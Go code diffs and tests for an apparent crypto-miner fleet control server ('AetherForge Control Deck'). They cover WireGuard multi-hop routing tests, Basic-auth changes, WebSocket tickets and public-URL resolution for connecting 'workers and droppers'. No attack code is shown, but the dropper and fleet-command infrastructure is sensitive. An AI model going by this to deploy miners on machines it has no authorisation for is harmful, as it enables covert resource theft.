if keys[0] != sess.Hops[2].PublicKey {
|
||||
t.Fatal("middle hop forward peer should be hop3")
|
||||
}
|
||||
if keys[1] != sess.Hops[0].PublicKey {
|
||||
t.Fatal("middle hop reverse peer should be hop1")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerSessionExpiry(t *testing.T) {
|
||||
hub := NewWSHub(nil)
|
||||
h := NewPathTracerHandler(hub)
|
||||
sess := &TraceSession{
|
||||
ID: "expired-session-id",
|
||||
CreatedAt: time.Now().Add(-pathTraceSessionTTL - time.Minute),
|
||||
Hops: []*HopInfo{{AgentID: "gone-agent"}},
|
||||
}
|
||||
h.mu.Lock()
|
||||
h.sessions[sess.ID] = sess
|
||||
h.mu.Unlock()
|
||||
|
||||
h.expireSessions()
|
||||
|
||||
h.mu.Lock()
|
||||
_, ok := h.sessions[sess.ID]
|
||||
h.mu.Unlock()
|
||||
if ok {
|
||||
t.Fatal("expired session should be removed")
|
||||
}
|
||||
}
|
||||
|
||||
func startPathTracerAgentResponder(t *testing.T, hub *WSHub, agentID, pubKey string) {
|
||||
t.Helper()
|
||||
conn := connectTestAgent(t, hub, agentID)
|
||||
go func() {
|
||||
for {
|
||||
var msg Message
|
||||
if err := conn.ReadJSON(&msg); err != nil {
|
||||
return
|
||||
}
|
||||
if msg.Type != "command" {
|
||||
continue
|
||||
}
|
||||
var payload map[string]interface{}
|
||||
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
|
||||
continue
|
||||
}
|
||||
action, _ := payload["action"].(string)
|
||||
switch action {
|
||||
case "wg_setup":
|
||||
setup, _ := json.Marshal(map[string]interface{}{
|
||||
"public_key": pubKey,
|
||||
"external_ip": "198.51.100.10",
|
||||
"external_port": 51820,
|
||||
})
|
||||
_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
|
||||
"action": "wg_setup", "success": true, "message": string(setup),
|
||||
})})
|
||||
case "wg_configure":
|
||||
_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
|
||||
"action": "wg_configure", "success": true,
|
||||
})})
|
||||
case "wg_teardown":
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
func TestPathTracerOrchestrationSingleHop(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
hub := NewWSHub(database)
|
||||
handler := NewPathTracerHandler(hub)
|
||||
agentID := "trace-agent-1"
|
||||
startPathTracerAgentResponder(t, hub, agentID, "AGENT1_PUBKEY")
|
||||
|
||||
body := `{"agent_ids":["` + agentID + `"]}`
|
||||
req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
handler.Start(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("start status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
var startResp map[string]interface{}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &startResp); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
sessionID, _ := startResp["session_id"].(string)
|
||||
if sessionID == "" {
|
||||
t.Fatal("missing session_id")
|
||||
}
|
||||
|
||||
deadline := time.Now().Add(5 * time.Second)
|
||||
ready := false
|
||||
for time.Now().Before(deadline) {
|
||||
rc := chi.NewRouteContext()
|
||||
rc.URLParams.Add("id", sessionID)
|
||||
req2 := httptest.NewRequest(http.MethodGet, "/pathtrace/"+sessionID+"/status", nil)
|
||||
req2 = req2.WithContext(context.WithValue(req2.Context(), chi.RouteCtxKey, rc))
|
||||
rec = httptest.NewRecorder()
|
||||
handler.Status(rec, req2)
|
||||
|
||||
var status map[string]interface{}
|
||||
_ = json.Unmarshal(rec.Body.Bytes(), &status)
|
||||
if status["ready"] == true {
|
||||
ready = true
|
||||
break
|
||||
}
|
||||
time.Sleep(50 * time.Millisecond)
|
||||
}
|
||||
if !ready {
|
||||
t.Fatal("session did not become ready in time")
|
||||
}
|
||||
|
||||
handler.mu.Lock()
|
||||
sess := handler.sessions[sessionID]
|
||||
handler.mu.Unlock()
|
||||
if sess == nil || !sess.Ready {
|
||||
t.Fatalf("session not ready: %+v", sess)
|
||||
}
|
||||
if sess.clientPubKey == "" {
|
||||
t.Fatal("client pubkey should be set")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerOrchestrationConfigurePeers(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
hub := NewWSHub(database)
|
||||
handler := NewPathTracerHandler(hub)
|
||||
|
||||
agent1 := "hop-one"
|
||||
agent2 := "hop-two"
|
||||
conn1 := connectTestAgent(t, hub, agent1)
|
||||
conn2 := connectTestAgent(t, hub, agent2)
|
||||
|
||||
var (
|
||||
captured []map[string]interface{}
|
||||
captureMu sync.Mutex
|
||||
)
|
||||
done := make(chan struct{})
|
||||
var once sync.Once
|
||||
|
||||
respond := func(conn *websocket.Conn, pub string) {
|
||||
for {
|
||||
var msg Message
|
||||
if err := conn.ReadJSON(&msg); err != nil {
|
||||
return
|
||||
}
|
||||
if msg.Type != "command" {
|
||||
continue
|
||||
}
|
||||
var payload map[string]interface{}
|
||||
_ = json.Unmarshal(msg.Payload, &payload)
|
||||
switch payload["action"] {
|
||||
case "wg_setup":
|
||||
setup, _ := json.Marshal(map[string]interface{}{
|
||||
"public_key": pub, "external_ip": "198.51.100.1", "external_port": 51820,
|
||||
})
|
||||
_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
|
||||
"action": "wg_setup", "success": true, "message": string(setup),
|
||||
})})
|
||||
case "wg_configure":
|
||||
dataStr, _ := payload["data"].(string)
|
||||
var cfg map[string]interface{}
|
||||
_ = json.Unmarshal([]byte(dataStr), &cfg)
|
||||
captureMu.Lock()
|
||||
captured = append(captured, cfg)
|
||||
n := len(captured)
|
||||
captureMu.Unlock()
|
||||
_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
|
||||
"action": "wg_configure", "success": true,
|
||||
})})
|
||||
if n == 2 {
|
||||
once.Do(func() { close(done) })
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
go respond(conn1, "PUB_HOP1")
|
||||
go respond(conn2, "PUB_HOP2")
|
||||
|
||||
body := `{"agent_ids":["` + agent1 + `","` + agent2 + `"]}`
|
||||
req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
handler.Start(rec, req)
|
||||
|
||||
var startResp map[string]interface{}
|
||||
_ = json.Unmarshal(rec.Body.Bytes(), &startResp)
|
||||
sessionID := startResp["session_id"].(string)
|
||||
|
||||
select {
|
||||
case <-done:
|
||||
case <-time.After(5 * time.Second):
|
||||
t.Fatal("timed out waiting for wg_configure on both hops")
|
||||
}
|
||||
|
||||
handler.mu.Lock()
|
||||
sess := handler.sessions[sessionID]
|
||||
handler.mu.Unlock()
|
||||
if sess == nil {
|
||||
t.Fatal("session missing")
|
||||
}
|
||||
|
||||
// Hop1 configure payload must include client peer + forward to hop2.
|
||||
var hop1Cfg map[string]interface{}
|
||||
for _, cfg := range captured {
|
||||
if la, _ := cfg["local_address"].(string); strings.HasPrefix(la, "10.66.0.2") {
|
||||
hop1Cfg = cfg
|
||||
break
|
||||
}
|
||||
}
|
||||
if hop1Cfg == nil {
|
||||
t.Fatalf("missing hop1 config in captured: %+v", captured)
|
||||
}
|
||||
peers, _ := hop1Cfg["peers"].([]interface{})
|
||||
if len(peers) != 2 {
|
||||
t.Fatalf("hop1 want 2 peers (client+forward), got %d", len(peers))
|
||||
}
|
||||
p0 := peers[0].(map[string]interface{})
|
||||
if p0["public_key"] != sess.clientPubKey {
|
||||
t.Fatalf("hop1 first peer should be client, got %v", p0["public_key"])
|
||||
}
|
||||
p1 := peers[1].(map[string]interface{})
|
||||
if p1["public_key"] != "PUB_HOP2" {
|
||||
t.Fatalf("hop1 forward peer = %v", p1["public_key"])
|
||||
}
|
||||
|
||||
// Hop2 (exit) must have reverse peer to hop1 only.
|
||||
var hop2Cfg map[string]interface{}
|
||||
for _, cfg := range captured {
|
||||
if la, _ := cfg["local_address"].(string); strings.HasPrefix(la, "10.66.0.3") {
|
||||
hop2Cfg = cfg
|
||||
break
|
||||
}
|
||||
}
|
||||
peers2, _ := hop2Cfg["peers"].([]interface{})
|
||||
if len(peers2) != 1 {
|
||||
t.Fatalf("hop2 want 1 reverse peer, got %d", len(peers2))
|
||||
}
|
||||
if peers2[0].(map[string]interface{})["public_key"] != "PUB_HOP1" {
|
||||
t.Fatal("hop2 should peer back to hop1")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerBuildClientConfig(t *testing.T) {
|
||||
hub := NewWSHub(nil)
|
||||
h := NewPathTracerHandler(hub)
|
||||
sess := testTraceSession(1)
|
||||
sess.clientPrivKey = base64.StdEncoding.EncodeToString([]byte("a-32-byte-wireguard-priv-key!!"))
|
||||
sess.clientPubKey = base64.StdEncoding.EncodeToString([]byte("a-32-byte-wireguard-pub-key!!!"))
|
||||
cfg := h.buildClientConfig(sess)
|
||||
if !strings.Contains(cfg, sess.clientPrivKey) {
|
||||
t.Fatal("config should include client private key")
|
||||
}
|
||||
if !strings.Contains(cfg, sess.Hops[0].PublicKey) {
|
||||
t.Fatal("config should peer to first hop")
|
||||
}
|
||||
if !strings.Contains(cfg, "10.66.0.1/24") {
|
||||
t.Fatal("config should set client address")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPathTracerStartValidation(t *testing.T) {
|
||||
h := NewPathTracerHandler(NewWSHub(nil))
|
||||
req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", bytes.NewReader([]byte(`{}`)))
|
||||
rec := httptest.NewRecorder()
|
||||
h.Start(rec, req)
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("expected 400, got %d", rec.Code)
|
||||
}
|
||||
}
|
||||
@@ -15,6 +15,7 @@ import (
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
"unicode"
|
||||
|
||||
"crypto-miner-server/internal/builder"
|
||||
"crypto-miner-server/internal/db"
|
||||
@@ -342,6 +343,18 @@ func reconcileLoginSidecar(dataDir, sidecarPath string, users map[string]string)
|
||||
}
|
||||
|
||||
// generateRandomPassword returns an 8-character password (4 random bytes as hex).
|
||||
func validateDashboardUsername(username string) error {
|
||||
if len(username) < 3 || len(username) > 32 {
|
||||
return fmt.Errorf("username must be 3-32 characters")
|
||||
}
|
||||
for _, c := range username {
|
||||
if !unicode.IsLetter(c) && !unicode.IsDigit(c) && c != '_' && c != '-' {
|
||||
return fmt.Errorf("username contains invalid characters")
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func generateRandomPassword() string {
|
||||
b := make([]byte, 4)
|
||||
if _, err := rand.Read(b); err != nil {
|
||||
@@ -371,12 +384,22 @@ func saveUser(username, password string) error {
|
||||
return err
|
||||
}
|
||||
usersMu.Unlock()
|
||||
authSessionCacheMu.Lock()
|
||||
authSessionCache = map[string]time.Time{}
|
||||
authSessionCacheMu.Unlock()
|
||||
if err := upsertLoginSidecar(dataDir, username, password); err != nil {
|
||||
log.Printf("[Auth] WARNING: could not update login-credentials.json: %v", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker.
|
||||
// Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch
|
||||
// must not trigger that — only bare browser navigations without these headers should.
|
||||
func isSPAAuthRequest(r *http.Request) bool {
|
||||
return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != ""
|
||||
}
|
||||
|
||||
func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Method == http.MethodOptions {
|
||||
@@ -438,7 +461,9 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
|
||||
user, pass, ok := r.BasicAuth()
|
||||
if !ok {
|
||||
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
|
||||
if !isSPAAuthRequest(r) {
|
||||
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
|
||||
}
|
||||
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
||||
return
|
||||
}
|
||||
@@ -451,7 +476,9 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
usersMu.RUnlock()
|
||||
|
||||
if !exists || !checkPassword(storedHash, pass) {
|
||||
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
|
||||
if !isSPAAuthRequest(r) {
|
||||
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
|
||||
}
|
||||
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
||||
return
|
||||
}
|
||||
@@ -463,7 +490,7 @@ func basicAuthMiddleware(next http.Handler) http.Handler {
|
||||
})
|
||||
}
|
||||
|
||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, serverVersion ...string) http.Handler {
|
||||
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, dropperHandler *DropperHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, serverVersion ...string) http.Handler {
|
||||
ensureUsersLoaded(dataDir)
|
||||
|
||||
version := "AetherForge"
|
||||
@@ -482,7 +509,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
// X-Fleet-Secret is required by agent-facing endpoints; include it so
|
||||
// browser-based callers (dev tools, custom dashboards) are not blocked
|
||||
// by CORS preflight when sending that header.
|
||||
AllowedHeaders: []string{"Accept", "Authorization", "Content-Type", "X-Fleet-Secret"},
|
||||
AllowedHeaders: []string{"Accept", "Authorization", "Content-Type", "X-Fleet-Secret", "X-AetherForge-Client"},
|
||||
AllowCredentials: false,
|
||||
}))
|
||||
|
||||
@@ -492,13 +519,25 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
h := NewHandler(database)
|
||||
|
||||
r.Get("/health", h.HealthCheck)
|
||||
r.Post("/auth/ws-ticket", func(w http.ResponseWriter, req *http.Request) {
|
||||
user := AuthUsername(req)
|
||||
if user == "" {
|
||||
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
||||
return
|
||||
}
|
||||
ticket := issueWSTicket(user)
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"ticket": ticket,
|
||||
"expires_in": int(wsTicketTTL.Seconds()),
|
||||
})
|
||||
})
|
||||
r.Get("/server/ready", h.ServerReady)
|
||||
r.Get("/server/info", func(w http.ResponseWriter, r *http.Request) {
|
||||
override := ""
|
||||
if publicURLOverride != nil {
|
||||
override = publicURLOverride()
|
||||
}
|
||||
GetServerInfo(w, r, override)
|
||||
GetServerInfo(w, r, override, listenPort)
|
||||
})
|
||||
|
||||
// Dashboard
|
||||
@@ -583,7 +622,13 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
http.Error(w, "rotation failed: "+err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{"ok": true, "hint": newSecret[:8] + "..."})
|
||||
hint := newSecret
|
||||
if n := len(hint); n > 8 {
|
||||
hint = hint[:8] + "..."
|
||||
} else if n > 0 {
|
||||
hint += "..."
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{"ok": true, "hint": hint})
|
||||
})
|
||||
|
||||
// User Management
|
||||
@@ -592,8 +637,24 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
Username string `json:"username"`
|
||||
Password string `json:"password"`
|
||||
}
|
||||
if err := json.NewDecoder(req.Body).Decode(&payload); err != nil || payload.Username == "" || payload.Password == "" {
|
||||
http.Error(w, "Invalid username or password", http.StatusBadRequest)
|
||||
if err := json.NewDecoder(req.Body).Decode(&payload); err != nil {
|
||||
http.Error(w, "Invalid JSON", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
payload.Username = strings.TrimSpace(payload.Username)
|
||||
if err := validateDashboardUsername(payload.Username); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
if len(payload.Password) < 4 || len(payload.Password) > 128 {
|
||||
http.Error(w, "password must be 4-128 characters", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
usersMu.RLock()
|
||||
_, exists := authUsers[payload.Username]
|
||||
usersMu.RUnlock()
|
||||
if exists {
|
||||
http.Error(w, "username already exists", http.StatusConflict)
|
||||
return
|
||||
}
|
||||
if err := saveUser(payload.Username, payload.Password); err != nil {
|
||||
|
||||
@@ -179,6 +179,52 @@ func TestBasicAuthMiddlewareWrongPassword(t *testing.T) {
|
||||
if rec.Code != http.StatusUnauthorized {
|
||||
t.Fatalf("expected 401, got %d", rec.Code)
|
||||
}
|
||||
if strings.Contains(rec.Header().Get("WWW-Authenticate"), "Basic") {
|
||||
t.Fatal("SPA requests with Authorization must not get WWW-Authenticate")
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsSPAAuthRequest(t *testing.T) {
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
|
||||
if isSPAAuthRequest(req) {
|
||||
t.Fatal("bare request should not be SPA")
|
||||
}
|
||||
req.Header.Set("X-AetherForge-Client", "dashboard")
|
||||
if !isSPAAuthRequest(req) {
|
||||
t.Fatal("client header should mark SPA request")
|
||||
}
|
||||
req = httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
|
||||
req.Header.Set("Authorization", "Basic dXNlcjpwYXNz")
|
||||
if !isSPAAuthRequest(req) {
|
||||
t.Fatal("Authorization header should mark SPA request")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBasicAuthMiddlewareSPANoWWWAuthenticate(t *testing.T) {
|
||||
resetAuthState(t)
|
||||
usersMu.Lock()
|
||||
authUsers["admin"] = "secret"
|
||||
usersMu.Unlock()
|
||||
|
||||
h := basicAuthMiddleware(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
t.Fatal("handler should not run without auth")
|
||||
}))
|
||||
|
||||
for _, setup := range []func(*http.Request){
|
||||
func(r *http.Request) { r.Header.Set("X-AetherForge-Client", "dashboard") },
|
||||
func(r *http.Request) { r.Header.Set("Authorization", "Basic dXNlcjpwYXNz") },
|
||||
} {
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil)
|
||||
setup(req)
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusUnauthorized {
|
||||
t.Fatalf("expected 401, got %d", rec.Code)
|
||||
}
|
||||
if rec.Header().Get("WWW-Authenticate") != "" {
|
||||
t.Fatal("SPA-marked 401 must not include WWW-Authenticate")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestBasicAuthMiddlewareValidCredentials(t *testing.T) {
|
||||
@@ -242,6 +288,36 @@ func TestRouterPostUsersValidation(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestRouterPostUsersConflict(t *testing.T) {
|
||||
router, _, _, _ := newTestRouter(t)
|
||||
body, _ := json.Marshal(map[string]string{"username": testAuthUser, "password": "otherpass"})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/users", bytes.NewReader(body))
|
||||
req.SetBasicAuth(testAuthUser, testAuthPass)
|
||||
rec := httptest.NewRecorder()
|
||||
router.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusConflict {
|
||||
t.Fatalf("existing username should 409, got %d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestRouterPostWSTicket(t *testing.T) {
|
||||
router, _, _, _ := newTestRouter(t)
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/auth/ws-ticket", nil)
|
||||
req.SetBasicAuth(testAuthUser, testAuthPass)
|
||||
rec := httptest.NewRecorder()
|
||||
router.ServeHTTP(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("expected 200, got %d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var body map[string]interface{}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if body["ticket"] == nil || body["ticket"] == "" {
|
||||
t.Fatalf("expected ticket in response: %v", body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRouterPostUsersSuccess(t *testing.T) {
|
||||
router, _, _, dataDir := newTestRouter(t)
|
||||
|
||||
@@ -352,7 +428,7 @@ func TestRouterBuildDownloadAuth(t *testing.T) {
|
||||
fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir)
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, nil), nil, nil, "", dataDir, nil)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, NewDropperHandler(database, dataDir, nil), nil, nil, "", dataDir, nil, 8989)
|
||||
|
||||
dlURL := "/api/v1/builds/" + buildID + "/download"
|
||||
|
||||
@@ -429,7 +505,7 @@ func TestRouterNoWebRootFallback(t *testing.T) {
|
||||
builderHandler := builder.NewHandler(database, dataDir, "", dataDir)
|
||||
blueprintHandler := NewBlueprintHandler(dataDir)
|
||||
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, "", dataDir, nil)
|
||||
router := NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, nil, nil, nil, "", dataDir, nil, 8989)
|
||||
|
||||
req := httptest.NewRequest(http.MethodGet, "/", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
|
||||
@@ -3,6 +3,7 @@ package api
|
||||
import (
|
||||
"net"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strings"
|
||||
)
|
||||
|
||||
@@ -15,41 +16,131 @@ type ServerInfo struct {
|
||||
WebSocketURL string `json:"websocket_url"`
|
||||
}
|
||||
|
||||
func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride string) {
|
||||
host := r.Host
|
||||
if idx := strings.Index(host, ":"); idx > 0 {
|
||||
host = host[:idx]
|
||||
// GetServerInfo returns URLs workers and droppers should use to reach this deck.
|
||||
// When the dashboard is opened via HTTPS reverse proxy (e.g. Cloudflare tunnel),
|
||||
// suggested_url uses https and omits :443 — not the local listen port (8989).
|
||||
func GetServerInfo(w http.ResponseWriter, r *http.Request, publicURLOverride string, listenPort int) {
|
||||
if listenPort <= 0 {
|
||||
listenPort = 8989
|
||||
}
|
||||
|
||||
localIPs := listLocalIPv4()
|
||||
suggestedHost := host
|
||||
if isLoopbackHost(host) && len(localIPs) > 0 {
|
||||
suggestedHost = localIPs[0]
|
||||
}
|
||||
suggestedURL := resolveSuggestedURL(r, publicURLOverride, listenPort, localIPs)
|
||||
|
||||
port := 8989
|
||||
if idx := strings.LastIndex(r.Host, ":"); idx > 0 {
|
||||
if p := r.Host[idx+1:]; p != "" {
|
||||
port = parsePort(p)
|
||||
host := r.Host
|
||||
port := listenPort
|
||||
if h, p, err := net.SplitHostPort(r.Host); err == nil {
|
||||
host = h
|
||||
if parsed := parsePort(p); parsed > 0 {
|
||||
port = parsed
|
||||
}
|
||||
}
|
||||
|
||||
suggestedURL := "http://" + net.JoinHostPort(suggestedHost, itoa(port))
|
||||
if strings.TrimSpace(publicURLOverride) != "" {
|
||||
suggestedURL = strings.TrimSpace(publicURLOverride)
|
||||
}
|
||||
info := ServerInfo{
|
||||
Port: port,
|
||||
Host: host,
|
||||
LocalIPs: localIPs,
|
||||
SuggestedURL: suggestedURL,
|
||||
DashboardURL: suggestedURL,
|
||||
WebSocketURL: strings.Replace(strings.Replace(suggestedURL, "https://", "wss://", 1), "http://", "ws://", 1) + "/ws/agent",
|
||||
WebSocketURL: httpToWS(suggestedURL) + "/ws/agent",
|
||||
}
|
||||
|
||||
writeJSON(w, info)
|
||||
}
|
||||
|
||||
func resolveSuggestedURL(r *http.Request, publicOverride string, listenPort int, localIPs []string) string {
|
||||
if norm := normalizePublicURL(publicOverride); norm != "" {
|
||||
return norm
|
||||
}
|
||||
return externalBaseFromRequest(r, listenPort, localIPs)
|
||||
}
|
||||
|
||||
func externalBaseFromRequest(r *http.Request, listenPort int, localIPs []string) string {
|
||||
scheme := requestScheme(r)
|
||||
host := requestHost(r)
|
||||
hostOnly, port := hostAndPort(host, scheme)
|
||||
|
||||
if isLoopbackHost(hostOnly) && len(localIPs) > 0 {
|
||||
hostOnly = localIPs[0]
|
||||
scheme = "http"
|
||||
port = listenPort
|
||||
}
|
||||
|
||||
return formatBaseURL(scheme, hostOnly, port)
|
||||
}
|
||||
|
||||
func requestScheme(r *http.Request) string {
|
||||
if r.TLS != nil {
|
||||
return "https"
|
||||
}
|
||||
if p := strings.TrimSpace(strings.Split(r.Header.Get("X-Forwarded-Proto"), ",")[0]); p != "" {
|
||||
return strings.ToLower(p)
|
||||
}
|
||||
return "http"
|
||||
}
|
||||
|
||||
func requestHost(r *http.Request) string {
|
||||
if h := strings.TrimSpace(strings.Split(r.Header.Get("X-Forwarded-Host"), ",")[0]); h != "" {
|
||||
return h
|
||||
}
|
||||
return r.Host
|
||||
}
|
||||
|
||||
func hostAndPort(host string, scheme string) (hostOnly string, port int) {
|
||||
if h, p, err := net.SplitHostPort(host); err == nil {
|
||||
return strings.Trim(h, "[]"), parsePort(p)
|
||||
}
|
||||
if strings.Count(host, ":") == 1 && !strings.Contains(host, "]") {
|
||||
parts := strings.SplitN(host, ":", 2)
|
||||
return parts[0], parsePort(parts[1])
|
||||
}
|
||||
hostOnly = strings.Trim(host, "[]")
|
||||
if scheme == "https" {
|
||||
return hostOnly, 443
|
||||
}
|
||||
return hostOnly, 80
|
||||
}
|
||||
|
||||
func formatBaseURL(scheme, host string, port int) string {
|
||||
host = strings.Trim(host, "[]")
|
||||
if (scheme == "https" && port == 443) || (scheme == "http" && port == 80) {
|
||||
return scheme + "://" + host
|
||||
}
|
||||
return scheme + "://" + net.JoinHostPort(host, itoa(port))
|
||||
}
|
||||
|
||||
func normalizePublicURL(raw string) string {
|
||||
raw = strings.TrimSpace(raw)
|
||||
if raw == "" {
|
||||
return ""
|
||||
}
|
||||
u, err := url.Parse(raw)
|
||||
if err != nil || u.Scheme == "" || u.Host == "" {
|
||||
return strings.TrimRight(raw, "/")
|
||||
}
|
||||
_, port := hostAndPort(u.Host, u.Scheme)
|
||||
u.Host = formatURLHost(u.Hostname(), port, u.Scheme)
|
||||
u.Path = ""
|
||||
u.RawPath = ""
|
||||
u.RawQuery = ""
|
||||
u.Fragment = ""
|
||||
return strings.TrimRight(u.String(), "/")
|
||||
}
|
||||
|
||||
func formatURLHost(hostname string, port int, scheme string) string {
|
||||
if (scheme == "https" && port == 443) || (scheme == "http" && port == 80) {
|
||||
return hostname
|
||||
}
|
||||
return net.JoinHostPort(hostname, itoa(port))
|
||||
}
|
||||
|
||||
func httpToWS(base string) string {
|
||||
if strings.HasPrefix(base, "https://") {
|
||||
return "wss://" + strings.TrimPrefix(base, "https://")
|
||||
}
|
||||
return "ws://" + strings.TrimPrefix(base, "http://")
|
||||
}
|
||||
|
||||
func listLocalIPv4() []string {
|
||||
var ips []string
|
||||
ifaces, err := net.Interfaces()
|
||||
|
||||
@@ -50,7 +50,7 @@ func TestGetServerInfoJSON(t *testing.T) {
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
|
||||
req.Host = "localhost:8989"
|
||||
rec := httptest.NewRecorder()
|
||||
GetServerInfo(rec, req, "")
|
||||
GetServerInfo(rec, req, "", 8989)
|
||||
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
|
||||
@@ -71,16 +71,33 @@ func TestGetServerInfoPublicURLOverride(t *testing.T) {
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/server/info", nil)
|
||||
req.Host = "localhost:8989"
|
||||
rec := httptest.NewRecorder()
|
||||
GetServerInfo(rec, req, "https://forge.example.com:443")
|
||||
GetServerInfo(rec, req, "https://forge.example.com:443", 8989)
|
||||
|
||||
var info ServerInfo
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &info); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if info.SuggestedURL != "https://forge.example.com:443" {
|
||||
if info.SuggestedURL != "https://forge.example.com" {
|
||||
t.Fatalf("override not applied: %q", info.SuggestedURL)
|
||||
}
|
||||
if info.WebSocketURL != "wss://forge.example.com:443/ws/agent" {
|
||||
